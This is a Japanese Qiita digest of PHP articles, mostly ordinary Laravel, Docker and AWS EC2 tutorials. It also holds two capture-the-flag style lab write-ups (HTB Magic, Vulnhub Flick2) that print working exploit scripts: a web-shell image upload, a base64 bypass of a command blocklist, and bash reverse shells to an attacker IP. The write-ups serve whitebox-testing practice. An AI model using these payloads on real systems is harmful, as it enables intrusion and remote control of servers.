20210425のPHPに関する記事は11件です。

Laravel バリデーションを実装したら403エラーが帰ってきた

目的 Laravelで新規のRequestクラスを作成してバリデーションを実装したら403エラーが返されたので何が間違えていたかメモ的にまとめる 原因 Requestクラスの中のauthorize()メソッドの戻り値がfalseのままだった。 Request.php /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return false; } 「Determine if the user is authorized to make this request.」と記載されており、翻訳すると「ユーザーがこの要求を行うことを許可されているかどうかを判別します。」と説明されている。 ユーザーからPostされたデータをバリデートしたい時は当該メソッドの戻り値をtrueに設定する必要がある。 Request.php /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } 教えていただいた内容 @nunulk様にコメントで教えていただきました。 ユーザーによる要求の許可の必要がない場合authorize()メソッドを削除してしまっても良いそうです!
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Hack the Box】Magicをやってみた

ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。 そのためポートスキャンや権限昇格といった内容は省略しています。 このブログを参考にしています。こっちの方が分かりやすいです。 OSWE Prep — Hack The Box Magic 未検証のリダイレクト upload.phpの2~6行目のupload.phpのリダイレクト機能 upload.php 2 session_start(); 3 4 if (!isset($_SESSION['user_id'])) { 5 header("Location: login.php"); 6 } 2行目:セッションを作成するsession_start()を呼び出す。またはGET、POSTリクエスト、またはCookieを介して渡されたセッション識別子に基づいて現在のセッションを再開する。 4〜6行目:isset()を呼び出して、ユーザーがログインしているかどうかを確認する。 $ _SESSIONパラメータのuser_idインデックスがnullでないかどうかで判断している。 ユーザーがログインしていない場合は、header()が呼び出され、ユーザーがログインページにリダイレクトされる。 セッション情報は、/var/lib/php/sessionsに保存されます。sess_6aen…は、有効な認証情報でログインした際に作成されましたセッションです。セッション情報を確認するとisset()が呼び出されると、trueとなり、ログインページへのリダイレクトがスキップされています。 root@ubuntu:/var/lib/php/sessions# cat sess_6aengltqst8pck0jccrlkgmb8h user_id|s:1:"1"; ユーザーが有効なセッションIDを持っていない場合、ユーザーはリダイレクトされます。しかし6行目以降のコードはリダイレクト前のHTTPリクエストに引き続きレンダリングされます。 そのため、プロキシでリダイレクトを停止すると、アップロード機能が確認できます。 ファイルアップロード機能の脆弱性 7〜44行目は、アップロード機能となっていて、検証方法はが2つです。1つ目はファイル形式をチェックし、2つ目はマジックバイトを使用してファイル形式をチェックします。 upload.php 7 $target_dir = "images/uploads/"; 8 $target_file = $target_dir . basename($_FILES["image"]["name"]); 9 $uploadOk = 1; 10 $allowed = array('2', '3'); 11 12 // Check if image file is a actual image or fake image 13 if (isset($_POST["submit"])) { 14 // Allow certain file formats 15 $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); 16 if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != > 17 echo "<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')</s> 18 $uploadOk = 0; 19 } 20 21 if ($uploadOk === 1) { 22 // Check if image is actually png or jpg using magic bytes 23 $check = exif_imagetype($_FILES["image"]["tmp_name"]); 24 if (!in_array($check, $allowed)) { 25 echo "<script>alert('What are you trying to do there?')</script>"; 26 $uploadOk = 0; 27 } 28 } 29 //Check file contents 30 /*$image = file_get_contents($_FILES["image"]["tmp_name"]); 31 if (strpos($image, "<?") !== FALSE) { 32 echo "<script>alert('Detected \"\<\?\". PHP is not allowed!')</script>"; 33 $uploadOk = 0; 34 }*/ 35 36 // Check if $uploadOk is set to 0 by an error 37 if ($uploadOk === 1) { 38 if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) { 39 echo "The file " . basename($_FILES["image"]["name"]) . " has been u> 40 } else { 41 echo "Sorry, there was an error uploading your file."; 42 } 43 } 44 } 14〜19行目では、ファイル形式がJPG、PNG、JPEG以外のものであるかどうかを確認しています。 upload.php 14 // Allow certain file formats 15 $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); 16 if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != > 17 echo "<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')</s> 18 $uploadOk = 0; 19 } 15行目:アップロードされたファイルを取り込み、PATHINFO_EXTENSIONオプションでファイルの拡張子を取り除き、imageFileTypeに保存するpathinfo()を呼び出します。 このオプションhはファイルに複数の拡張子がある場合、最後の拡張子を削除します。 16〜18行目:ファイル拡張子がjpg、png、jpegであるかを確認し、そうでない場合は、ファイルのアップロードは失敗します。 PATHINFO_EXTENSIONオプションは最後の拡張子のみを削除するため、ファイルに複数の拡張子がある場合、例えば「test.php.png」のような名前をつければ、ファイル拡張子がpngであると認識されます。 2つめの検証は21〜28行目で、マジックバイトで画像が実際にpngまたはjepgであることを確認しています。 upload.php 21 if ($uploadOk === 1) { 22 // Check if image is actually png or jpg using magic bytes 23 $check = exif_imagetype($_FILES["image"]["tmp_name"]); 24 if (!in_array($check, $allowed)) { 25 echo "<script>alert('What are you trying to do there?')</script>"; 26 $uploadOk = 0; 27 } 28 } 23行目:アップロードされたファイルの最初のバイトを読み取り、署名をチェックするexif_imagetype()を呼び出します。正しい署名が見つかると、適切な定数値が返されます(GIFの場合は1、JPEGの場合は2、PNGの場合は3など)。それ以外の場合、戻り値はFalseです。 23〜27行目:in_array()で、exif_imagetype()から出力された定数値が、スクリプトの開始時に2と3に初期化された許可された値の配列に存在するかどうかを確認します。したがって、この検証チェックのみJPEGおよびPNG画像の署名を受け入れます。 exif_imagetype()は、署名を確認するために画像の最初のバイトのみを読み取ります。この検証をバイパスするにはexiftool()で既存のJPEGまたはPNGファイルにバックドアを追加するだけで済みます。コードの残りの行は、ファイルが上記の2つの検証をパスした後、ディレクトリimages/uploadsにファイルをアップロードします。 upload.php 36 // Check if $uploadOk is set to 0 by an error 37 if ($uploadOk === 1) { 38 if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) { 39 echo "The file " . basename($_FILES["image"]["name"]) . " has been u> 40 } else { 41 echo "Sorry, there was an error uploading your file."; 42 } 43 } RCEを実行するスクリプトは以下のようになります。 htb-magic-exploit.py # Developed using Python 2.7 # Refer to Usage Instructions in main method import requests import urllib import sys # To enable the proxy uncomment the following code ''' proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080', } ''' # And comment the following code proxies = { 'http': None, 'https': None } def upload_image(ip_address,image_file): print("-----------------------------------------------") print("----------------Uploading File-----------------") print("-----------------------------------------------") url_upload = 'http://' + ip_address + '/upload.php' files = { 'image': (image_file, open(image_file, 'rb'),'image/jpeg'), 'submit': (None, 'Upload Image') } postdata = requests.post(url_upload, files=files,allow_redirects=False, proxies=proxies) print('File uploaded!') print("") def call_image(ip_address, cmd, image_file): print("-----------------------------------------------") print("-------Calling File & Executing Payload--------") print("-----------------------------------------------") cmd_encoded = urllib.quote(cmd) url_call_upload = 'http://' + ip_address + '/images/uploads/' + image_file + '?cmd=' + cmd_encoded getdata = requests.get(url_call_upload, allow_redirects=False, proxies=proxies) print(getdata.text) print("") def main(): if len(sys.argv) < 4: print("-----------------------------------------------") print("-------------Usage Instructions----------------") print("-----------------------------------------------") print("The program requires three arguments: (1) Ip address (2) Malicious image file & (3) Command to run on the server.") print("Example Run Command: python upload.py 10.10.10.185 cat.php.jpeg ls") print("") print("--------Generate Malicious JPEG Image----------") print("Download a valid jpeg image and run the following command on the image to include a php web shell.") print("Command: exiftool -Comment='<?php system($_GET['cmd']); ?>' <image.jpeg>") print("Change the image extension to .php.jpeg") print("Then place image in the same directory as this script") print("") print("--------Commands to get Reverse Shell----------") print("Setup netcat listener on attack machine: nc -nlvp 443") print("Run script: python upload.py <target-ip> <image.php.jpeg> \"bash -c 'bash -i >& /dev/tcp/<attack-ip>/443 0>&1'\"") sys.exit(1) print("-----------------------------------------------") print("------------Initializing Variables-------------") print("-----------------------------------------------") ip_address = sys.argv[1] image_file = sys.argv[2] cmd = sys.argv[3] print ("IP address: %s" % ip_address) print ("Image to upload: %s" % image_file) print ("Command to run: %s" % cmd) print("") upload_image(ip_address, image_file) call_image(ip_address, cmd, image_file) if __name__ == "__main__": main()
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravel8 User :: createのIDを取得し、そのIDを使用して新しい行を挿入した。(メモ)

AuthのRegisterControllerのcreateメソッドをこのように書き換えて、ユーザーの新規登録処理の直後にその登録されたユーザーの詳細データの行を挿入した。 protected function create(array $data) { $user = User::create([ //一旦、変数に入れる 'name' => $data['name'], 'email' => $data['email'], 'password' => Hash::make($data['password']), ]); userDetail::create([ //ここの処理を追加した 'userId' => $user->id, ]); return $user; //変数を返す }
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravel - デフォルトのユーザー登録に処理を追加する【初心者向け・備忘録】

※まだEloquentの使い方に慣れていない方に向けた内容です。 Laravelのデフォルト機能で作成できるregisterControllerで、ユーザを作成する際に何かしらの処理を追加する方法です。 createメソッド内の User::create([ 'name' => $data['name']...) を一度変数に格納し、 例 : $user = User::create... その後、登録時に行いたい処理を記載したら return $user; を返します。 ※登録処理自体に変更を加えたい場合は、registerControllerで public function register(Request $request) をオーバーライドしてあげましょう。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

未経験者が実際に出された技術課題

私が転職活動をする中で、面接後に実際に出された技術課題をまとめてみました。 言語の指定はありませんでした。 この記事にあるコードは私の回答例であって、 企業様がどのように評価されたかはわかりませんので、ご了承ください。 税抜き価格から税込の価格を計算し、それを出力するプログラムの作成 これは簡単!と思ったら、最後に 「必ず関数を使ってください」 の表記があり、一瞬焦りましたがたぶんできた。。 function taxIncluded($price,$tax){ return ($price * $tax) + $price; } echo taxIncluded(100,0.08); 繰り返し文と関数を利用して、3段階評価をするプログラムの作成 テストの点数からA・B・Cの3段階の成績をつけるプログラム ・80点以上をA ・80点未満、40点以上をB ・40点未満をC ・生徒5人の点数を定義して、5人分の成績を出力 ・繰り返し文と関数を利用 function grades($points) { foreach($points as $point){ if($point >= 80){ echo 'A'; } elseif($point < 80 && $point >=40){ echo 'B'; } else { echo 'C'; } } } grades([85,80,50,40,20]); ポートフォリオに追加したい機能の実装 面接の時に、 「このポートフォリオに追加実装したい機能はありますか?」と聞かれたため、 「はい!3つほど実装したい機能がありまして〜〜〜〜〜。」 といった感じで面接を終え、後日メールにて 「面接でおっしゃっていた追加機能の実装を元に再選考します。」 と、連絡が入りすぐに実装に取り掛かりました。 そして、いいね機能やWebAPIを使用した機能などなど、4つの機能を実装しました。 期限がない課題は、クオリティを求めるべきか、なるべく早く提出するべきか悩みますね。 私は、なるべく早い提出を心掛けました。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Dockerでlaravel環境を構築した際にMysqlに接続拒否された話

Dockerは起動済み appコンテナ内でマイグレーションを行おうとすると下記のエラーが出る。 Illuminate\Database\QueryExceptionSQLSTATE[HY000] [1045] Access denied for user 'test'@'172.19.0.2' (using password: YES) (SQL: select count(*) as aggregate from `articles`) 結論 docker-compose down --volumes docker-compose build docker-compose up -d このコマンドで Access denied for user 'test'@'172.19.0.2' (using password: YES) 部分のエラーは解決 後半のエラー部分は .env (laravelの) DB_PORT=3306 docker-compose.yml ports: - '4306:3306' 上記のようにすることで解決。 元々は.envファイルの中のDB_PORTが4306になっていたので3306に修正。 docker-compose.ymlをいじったらコンテナの起動をし直すことを忘れずに。 考えられる原因 前半部分 docker-compose down --volumes このコマンドはコンテナ・イメージ・ボリューム・ネットワーク・未定義コンテナを全てを一括消去するコマンドなので何か履歴が残っていたことが原因? 後半部分 DBに接続する際のport番号の認識が誤っていたことが原因。 .envのport番号とdocker-compose.ymlの右側のport番号がコンテナのport番号に対応(同じにする) docker-compose.ymlの左側のport番号はホストのport番号(Mk-2やSequel Proに接続する際に入力するport番号はこっち)
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Vulnhub】Flick2をやってみた

ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。 そのためポートスキャンや権限昇格といった内容は省略しています。 このブログを参考にしています。こっちの方が分かりやすいかもしれません。 Flick2 - Remote Command Execution FLICK: 2 サーバー名: Flick: 2 リリース日: 2015年8月20日 作者: Leonjza シリーズ: Flick ディレクトリ構造 攻略に関係がないファイルを除外したディレクトリ構造 /usr/share/ngnix/serverchecker ├── public │ └── index.php ├── server.php ├── bootstrap │ └── app.php ├── app │ ├── Http │ │ ├── Controllers │ │ │ └── Controller.php │ │ ├── Middleware │ │ │ ├── ApiAuth.php │ │ │ └── ExampleMiddleware.php │ │ └── routes.php │ ├── Key.php │ └── [other dirs/files] ├── database │ ├── factories │ ├── migrations │ └── seeds ├── storage │ ├── app │ ├── database.sqlite │ ├── framework │ └── logs └── vendor └── [other dirs/files] server.phpが外部からアクセス可能です。 server.php <?php $uri = urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)); if ($uri !== '/' && file_exists(__DIR__.'/public'.$uri)) { return false; } require_once __DIR__.'/public/index.php'; 関係しているpublic/index.phpを確認します。 public/index.php <?php $app = require __DIR__.'/../bootstrap/app.php'; $app->run(); ルートファイル/app/Http/routes.phpを確認します。 /app/Http/routes.php <?php $app->group(['prefix' => 'do', 'middleware' => 'api_auth'], function () use ($app) { // Return the registration status of a uuid $app->get('/cmd/{command}', function($command) use ($app) { if (base64_decode($command, true) === False) return response() ->json([ 'status' => 'error', 'output' => 'Bad command format.' ]); // Get the command... $command = base64_decode($command); // ... and filter it $bad_commands = [ 'bash', ..., 'nc', 'netcat', 'python', ]; if(0 < count(array_intersect(array_map('strtolower', explode(' ', $command)), $bad_commands))) { return response() ->json([ 'status' => 'error', 'output' => 'Command \'' . $command . '\' contains a banned command.' ]); } $process = new Process($command); $process->run(); if (!$process->isSuccessful()) { return response() ->json([ 'status' => 'error', 'output' => $process->getErrorOutput() ]); } return response() ->json([ 'status' => 'ok', 'command' => $command, 'output' => $process->getOutput() ]); }); またコマンド実行にはAPIに対する認証が必要です。 /app/Http/routes.php $app->group(['prefix' => 'do', 'middleware' => 'api_auth'], function () use ($app) {...} /app/Http/Middleware/ApiAuth.phpを開き、認証機能を確認します。 /app/Http/Middleware/ApiAuth.php <?php namespace App\Http\Middleware; use Closure; use Request; class ApiAuth { public function handle($request, Closure $next) { if (!\App\Key::where(['uuid' => Request::header('X-UUID'), 'token' => Request::header('X-Token')])->first()) return response() ->json(['error' => 'Invalid authentication headers.'], 401); return $next($request); } } ApiAuth.phpはHTTPリクエストのX-UUIDとX-Tokenが、Keyオブジェクトに存在するかどうかを確認します。 /app/Http/Middleware/ApiAuth.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class Key extends Model { protected $fillable = ['uuid', 'token']; } 認証済みセッションを登録するには、新しいkeyを作成する必要があり、新しいkeyを作成するには、適当なuuidを設定して、/register/new/にPOSTリクエストをおくる。トークンを取得後、次のリクエストを発行してリモートコマンドを実行します。 認証バイパス /app/Http/routes.phpでは、コマンドがブラックリスト方式で検証されています。 /app/Http/routes.php <?php if(0 < count(array_intersect(array_map('strtolower', explode(' ', $command)), $bad_commands))) {...} このフィルターを回避するためにコマンドをbase64エンコードしスペースを区切り文字にします。 /do/cmd/$(echo -n '/bin/bash -i >& /dev/tcp/my_ip_address/444 0>&1' | base64) 最終的なエクスプロイトスクリプトは以下のようになります。 exploit.sh #!/bin/sh # Varibale used, change them to fit your needs target="flick2.local" lport="444" lhost="192.168.56.1" uuid="00000-231234fds-sdffdg2-32" proxy="-x http://127.0.0.1:8080" printf "[*] Staring Listener on port $lport" gnome-terminal -- nc -lvkp $lport 2>/dev/null sleep 1 echo "DONE" printf "[*] Loggin in..." token=$(curl -ksi $proxy -v -H "Content-Type: application/json" -X POST -d "{\"uuid\":\"$uuid\"}" "http://$target/register/new") echo "DONE" printf "[*] Crafting reverse shell command" curl -ksi $proxy -v -H "Content-Type: application/json" -H "X-UUID: $uuid" -H "X-Token: $token" -X GET "http://$target/do/cmd/$(echo -n \"/bin/bash -i >& /dev/tcp/$lhost/$lport 0>&1\" | base64)" &>/dev/null sleep 1 echo "DONE"
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

JSONコードをPHPに読み込み・変換するまで

初歩的な理解ながら、エラーで苦戦したJSONコードをPHPに変換するまでをまとめてみました。 同じ箇所で詰まっている人のヒントになれれば幸いです。 実際のコードの書き方 以下が、PHP変換するまでの処理です。 今回は、「sample.json」というJSONコードで書かれたファイルを用い、 このデータをindex.phpに読み込んでいきます。 PHP:index.php $filename = "http://sample.com/sample.json"; $file = file_get_contents($filename); $prevention = mb_convert_encoding($file, 'UTF8', 'ASCII,JIS,UTF-8,EUC-JP,SJIS-WIN'); $json = json_decode($prevention, true); それぞれを見ていきます。 JSONコードの代入 $filename = "http://sample.com/sample.json"; ここでsample.jsonを”http://”を用いてhttp://sample.com/sample.json として変数$filenameに代入します。 最初この代入をせずに $file = file_get_contents(”sample.json”); と、次のコードでsample.jsonを直接書いて見ましたがこれはできませんでした。 file_get_contents関数とその代入 $file = file_get_contents($filename); file_get_contents関数とは、ファイルの内容を全て文字列に読み込む関数です。 詳細:https://www.php.net/manual/ja/function.file-get-contents.php この関数を用いて()内に先程の$filenameを入れsample.json内の内容を文字列化し、 さらにそれを変数$fileへ代入します。 文字化けの防止 $prevention = mb_convert_encoding($file, 'UTF8', 'ASCII,JIS,UTF-8,EUC-JP,SJIS-WIN'); JSONファイルを文字列に読み込んだ状態のみでは、場合によって文字化けを起こす危険があります。 その場合の変換する関数として、mb_convert_encoding()というのを使います。 これは()内にある、ASCII,JIS,UTF-8,EUC-JP,SJIS-WINの順番で自動検出し、UTF8に変換するということです。 その後、この処理を変数$preventionへ代入します。 デコード $json = json_decode($prevention, true); json_decode関数を用いて変数$preventionを第一引数とし、デコードします。 デコードとは、エンコード(データを他の形式に書き込むこと)されたものを再び元の状態に戻すことを指します。 デコード内容を連想配列とする場合、第二引数ではtrueとします。 これで、JSONコードをPHPに変換するまでの処理は完了です。 これは自分が行った時の解決した方法であり深い理解まで至っていないため、 もし、これに説明不備・間違った解釈などありましたら、ご教授のほどお願いします。 参考文献 https://qiita.com/fantm21/items/603cbabf2e78cb08133e https://www.php.net/manual/ja/function.file-get-contents.php https://www.php.net/manual/ja/function.json-decode.php
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【ギリ初心者向け】Laravel Docker AWS(EC2) Webアプリ(PHP)を0から簡単にデプロイする方法(無料)③ ーEC2にデプロイ編ー

0.概要  何度もいいますが、知らない単語が出た瞬間ググってください!!!!! ①の全体像編がこちらにあるのでこちらを一読してからだと理解がスムーズかと!!! https://qiita.com/SG_Sg/items/6b8ce48567b6b6602805  ②のDocker環境構築編もあるのでこちらでデプロイするアプリを作成してます https://qiita.com/SG_Sg/items/6b8ce48567b6b6602805 今回で作成するは具体的にいうと赤いとこ 以上が完成すると、世の中にアプリを公開することができます! つまり 特定のURLを叩くと誰でも作成したWebアプリを動かせる状態 ⇦目指すはここ AWSのEC2インスタンスを利用してデプロイを行うための流れ AWS?EC2インスタンス?とはなんですか?? AWS EC2インスタンスとは、Amazonが提供している仮想サーバー構築サービスです。。。。難しいですかね。 ざっくり言うと よくサーバーってなんかでかい四角い箱のイメージですが、AWSのEC2インスタンスはそれをクラウド上に作れる!! (EC2インスタンスとは OSを載せた仮想サーバーです) まあ概念的なものはおいといて手を動かしましょう。 上の図を完成させるための流れを説明します。 ①AWSにアカウントを作成する。 ②EC2インスタンスを作成する ③EC2インスタンスにSSHでアクセス ④EC2インスタンス(Ubuntu)に必要なアプリケーションをインストール ⑤GitHubからプロジェクト(ソースコード)をPULL ⑥Laravelをインストールしてのトップ画面を表示 ⑦データベースと接続 ⑧URLを叩いてアクセス!! 上の7つ行えば完了です! さあやっていきましょう! ①AWSにアカウントを作成する さて、AWSのアカウントを作成するのですが、、、 以下公式 https://aws.amazon.com/jp/register-flow/ わかりやすそうな動画つきのサイト https://blog.serverworks.co.jp/tech/2020/07/17/hajimeteno_aws_account/ 今回はAWSのEC2インスタンスというサービスを使うので、1年間は基本的にお金がかかりません! 利用サービスによっては一部料金をとられたりしますのでご注意ください。 https://www.fenet.jp/aws/column/aws-beginner/197/ 上記を参考に設定してもらえればお金はかからないことがわかります。 以上の操作でアカウントが作成し、TOP画面にきたら右上がこちらは東京(日本)にしてあることを必ず確認してください! ヨーロッパ等になっていたらかならずタップして アジアパシフィック「東京」 にするようにお願いします。 ②EC2インスタンスを作成する 1,サービスをタップし、EC2をタップ。 2,インスタンスをタップ 3,EC2インスタンス一覧が表示されたらインスタンスを起動をタップ 4,今回は Ubuntu Server 20.04 LTS (HVM), SSD Volume Type - ami-059b6d3840b03d6dd (64 ビット x86) を使いますのでこれを選択。(無料枠対象でUbuntuを使います。) 5,インスタンスタイプの設定。ここでインスタンスの容量を設定。今回は無料枠で行うので無料枠のt2.microを使います。 そして次のステップ:インスタンスの詳細の設定をタップ (ここからの設定はあとで変更できるので確認と作成でもいいですが、先に設定しちゃいましょう!!) 6,詳細にネットワークの設定をできますが、今回はこちらデフォルト(そのまま)で次のステップ:ストレージの追加をタップ 7,こちらでストレージサイズをいじれますが、今回はこちらもデフォルト(そのまま)で次のステップ:タグの追加をタップ 8,タグを追加できますが、今回は追加せずそのままで次のステップ:セキュリティグループの設定をタップ 9,セキュリティグループを設定します。 新しいセキュリティグループを作成する。にしてグループ名説明は自分でわかるように設定。 ルールの追加をタップして タイプは以下のように追加してください。 ※SSHの部分のポート範囲をマイIPしていますが、こちらは自分IPを使って接続しますよーの意味です。 そのため、自分のIPがコロコロ変わるWifi回線を使っている方は利用するたびにSSHのポート範囲を変えなければいけませんのでご注意!! もし不安でしたら今回はテストですので SSHのソースを 任意の場所 にして 0.0.0.0/0, ::/0 で良いと思います。 入力し終わったら確認と作成をタップ! 10,作成の確認画面がでますが、そのまま「起動」ボタンを押しましょう! 11,キーファイルを作成します。まずはプルダウンを 新しいキーペアの作成  キーペア名は任意ですが「HelloLaravel」とします 次にキーペアのダウンロードをタップ  ダウンロードされた「HelloLaravel.pem」をデスクトップにおいておきます。鍵の場所は必ずわかるようにしておいてください。  ※このダウンロードされたキーファイルはその名も通り、このインスタンスの中に入るための鍵なので無くさないように大切に保存しましょう。  今回はデスクトップにおきますが、本当は/.sshフォルダの中にあるとよいですね! 鍵ファイルをダウンロードできたら、インスタンスの作成 をタップ! 12,これでインスタンスを作成できたので インスタンスの表示 で開くなど3のインスタンス一覧まで戻りましょう。 そして、インスタンスが作成してから動かせるようになるまで少し時間がかかるので少々おまちください。 数分たったらこんな風になっていればOKです! ステータスチェックが2/2になっていることを確認してください! これでインスタンスの作成が完了です!! ③EC2インスタンスにSSHでアクセス 1,ターミナル(端末)を開いて、権限を変更し、SSHでアクセスする。 ターミナルを開き、ホームディレクトリ(最初の階層)で 先ほど保存した、鍵ファイルの権限を変えます(これをしないと接続できません) //鍵ファイルの権限を読み取りもできるように変更 ~ chmod 600 ~/Desktop/HelloLaravel.pem //鍵ファイルで作成したインスタンスにSSHでログイン ~ ssh -i ~/Desktop/HelloLaravel.pem ubuntu@(EC2インスタンスのパブリックIPアドレス) ※(EC2インスタンスのパブリックIPアドレス)これは↓の赤枠の部分に書いてある数字です。赤枠の左の部分の四角いマークをタップすればコピーできます ↓こうなっていたらアクセス完了です! ubuntu@ip-自分のIP:~$ ④EC2インスタンス(Ubuntu)に必要なアプリケーションをインストール 1,php7.4をインストール //パッケージの更新 ubuntu@ip-自分のIP:~$ sudo apt-get update //PHP PPA Repositoryを追加 ubuntu@ip-自分のIP:~$ sudo apt -y install software-properties-common ubuntu@ip-自分のIP:~$ sudo add-apt-repository ppa:ondrej/php ubuntu@ip-自分のIP:~$ sudo apt-get update //PHPインストール ubuntu@ip-自分のIP:~$ sudo apt -y install php7.4 //バージョン確認 ubuntu@ip-自分のIP:~$ php -v PHP 7.4.16 (cli) (built: Mar 5 2021 07:54:38) ( NTS ) Copyright (c) The PHP Group Zend Engine v3.4.0, Copyright (c) Zend Technologies with Zend OPcache v7.4.16, Copyright (c), by Zend Technologies 2,MySQL 8.0をインストール //パッケージの更新 ubuntu@ip-自分のIP:~$ sudo apt update //mysqlインストール ubuntu@ip-自分のIP:~$ sudo apt install -y mysql-server //mysqlを動かす ubuntu@ip-自分のIP:~$ sudo service mysql start //バージョン確認 ubuntu@ip-自分のIP:~$ sudo mysql -u root -e'select version();' +-------------------------+ | version() | +-------------------------+ | 8.0.23-0ubuntu0.20.04.1 | +-------------------------+ 3,nginx1.18をインストール //パッケージの更新 ubuntu@ip-自分のIP:~$ sudo apt update //nginxをインストール ubuntu@ip-自分のIP:~$ sudo apt install -y nginx //場所を確認 ubuntu@ip-自分のIP:~$ sudo which nginx /usr/sbin/nginx //バージョン確認 ubuntu@ip-自分のIP:~$ nginx -v nginx version: nginx/1.18.0 (Ubuntu) nginxが動いているのかの確認 ubuntu@ip-自分のIP:~$ sudo service nginx start ubuntu@ip-自分のIP:~$ sudo service nginx status ● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset:>    //↓がactiveになってたらOK。 Active: active (running) since Sun 2021-04-11 06:44:04 UTC; 1s ago Docs: man:nginx(8) ・・・・・・ //Failになっていたらポートが占領されていたりするので ubuntu@ip-自分のIP:~$ sudo lsof -i:80 //確認して一度占領ポートを全部消す。数字は↑で確認した番号 ubuntu@ip-自分のIP:~$ sudo kill 23930 23933 23934 23935 23936 23937 25159 http://(EC2インスタンスのパブリックIPアドレス)/index をgoogleでアクセス!notfoundでnginxが動いていることを確認 ※番外 HTMLファイルをテストで表示 ubuntu@ip-自分のIP:/var/www$ ls html ubuntu@ip-自分のIP:/var/www$ cd html/ ubuntu@ip-自分のIP:/var/www/html$ vi test.html ↓test.htmlを作成 <html> <body>HTMLTEST</body> </html> http://(EC2インスタンスのパブリックIPアドレス)/test.html をgoogleでアクセス! HTMLTESTが表示されていたらnginxでHTMLが表示できていることを確認できる。 ④php7.4-fpmをインストールする ubuntu@ip-自分のIP:~$ sudo apt update //php-fpmをインストール ubuntu@ip-自分のIP:~$ sudo apt install php7.4-fpm //バージョンを確認 ubuntu@ip-自分のIP:~$ php-fpm7.4 -v PHP 7.4.16 (fpm-fcgi) (built: Mar 5 2021 07:54:38) Copyright (c) The PHP Group Zend Engine v3.4.0, Copyright (c) Zend Technologies with Zend OPcache v7.4.16, Copyright (c), by Zend Technologies ⑤GitHubからプロジェクト(ソースコード)をクローン ubuntu@ip-自分のIP:/var/www$ sudo git clone https://github.com/K-SG/DockerLaravelTestProject.git Cloning into 'DockerLaravelTestProject'... remote: Enumerating objects: 164, done. remote: Counting objects: 100% (164/164), done. remote: Compressing objects: 100% (119/119), done. remote: Total 164 (delta 25), reused 157 (delta 18), pack-reused 0 Receiving objects: 100% (164/164), 72.99 KiB | 7.30 MiB/s, done. Resolving deltas: 100% (25/25), done. //確認 ubuntu@ip-自分のIP:/var/www$ ls DockerLaravelTestProject html //プロジェクトの権限をwww-dataに変更 ubuntu@ip-自分のIP:/var/www$ sudo chown -R www-data:www-data DockerLaravelTestProject/ ubuntu@ip-172-31-35-119:/var/www$ ls -al total 16 drwxr-xr-x 4 root root 4096 Apr 18 06:04 . drwxr-xr-x 14 root root 4096 Apr 18 05:51 .. drwxr-xr-x 5 www-data www-data 4096 Apr 18 06:04 DockerLaravelTestProject drwxr-xr-x 2 root root 4096 Apr 18 06:12 html ⑥nginxの設定を変えて、phpファイルが表示できることを確認 1,nginxの設定ファイルを変える ubuntu@ip-自分のIP:/var/www$ cd /etc/nginx/sites-enabled/ ubuntu@ip-自分のIP:/etc/nginx/sites-enabled$ sudo vi default 以下に変更する。 server { listen 80 default_server; listen [::]:80 default_server; # SSL configuration # # listen 443 ssl default_server; # listen [::]:443 ssl default_server; # # Note: You should disable gzip for SSL traffic. # See: https://bugs.debian.org/773332 # # Read up on ssl_ciphers to ensure a secure configuration. # See: https://bugs.debian.org/765782 # # Self signed certs generated by the ssl-cert package # Don't use them in a production server! # # include snippets/snakeoil.conf; root /var/www/DockerLaravelTestProject/backend/public; # Add index.php to the list if you are using PHP       index index.html index.htm index.nginx-debian.html index.php; server_name _; location / { # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. # try_files $uri $uri/ =404; try_files $uri $uri/ /index.php?$query_string; } # pass PHP scripts to FastCGI server # location ~ \.php$ { include snippets/fastcgi-php.conf; # # # With php-fpm (or other unix sockets): fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; # # With php-cgi (or other tcp sockets): # fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name; fastcgi_split_path_info ^(.+\.php)(.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; include fastcgi_params; } # deny access to .htaccess files, if Apache's document root # concurs with nginx's one # #location ~ /\.ht { # deny all; #} } ※設定ファイルを変更(↑のように)、サーバーがうまく動作していない場合はnginxを必ず再起動 ubuntu@ip-自分のIP:~$ sudo service nginx stop ubuntu@ip-自分のIP:~$ sudo service nginx start //状態を確認 ubuntu@ip-自分のIP:~$ sudo service nginx status 2,プロジェクトにPHPファイルを作って接続を確認する。 //プロジェクトの中のpublicまで移動 ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject/backend/public$ ls favicon.ico index.php robots.txt web.config ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject/backend/public$ sudo vi phpinfo.php ↓で保存phpinfo.phpを作成 <?php phpinfo(); ?> http://(EC2インスタンスのパブリックIPアドレス)/phpinfo.php をgoogleでアクセス! PHPの情報が表示されていたらnginxでPHPのファイルがが表示できていることを確認できる。 3,現状足りていないPHPに必要なものをインストール 